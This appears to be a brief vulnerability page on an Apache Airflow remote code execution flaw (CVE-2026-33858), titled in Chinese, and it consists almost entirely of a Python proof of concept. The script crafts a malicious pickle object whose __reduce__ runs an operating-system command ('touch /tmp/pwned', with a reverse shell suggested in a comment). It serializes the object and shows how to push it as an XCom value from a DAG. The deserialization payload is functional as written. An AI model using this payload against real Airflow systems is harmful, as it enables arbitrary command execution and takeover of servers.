CVE-2026-33858 Apache Airflow 远程代码执行漏洞

# Conceptual PoC for CVE-2026-33858 # This script demonstrates how a malicious DAG author might craft an XCom payload. # Note: Actual exploitation depends on specific deserialization mechanisms in Airflow. import pickle import os class MaliciousPayload: def __reduce__(self): # Command to execute (e.g., create a file or reverse shell) return (os.system, ('touch /tmp/pwned', )) # Serialize the malicious object evil_data = pickle.dumps(MaliciousPayload()) # In a real scenario, this 'evil_data' would be pushed via xcom_push print(f"Malicious XCom payload generated: {evil_data}") # Example usage in a DAG (Conceptual): # def push_malicious_xcom(**context): # context['task_instance'].xcom_push(key='exploit', value=evil_data)
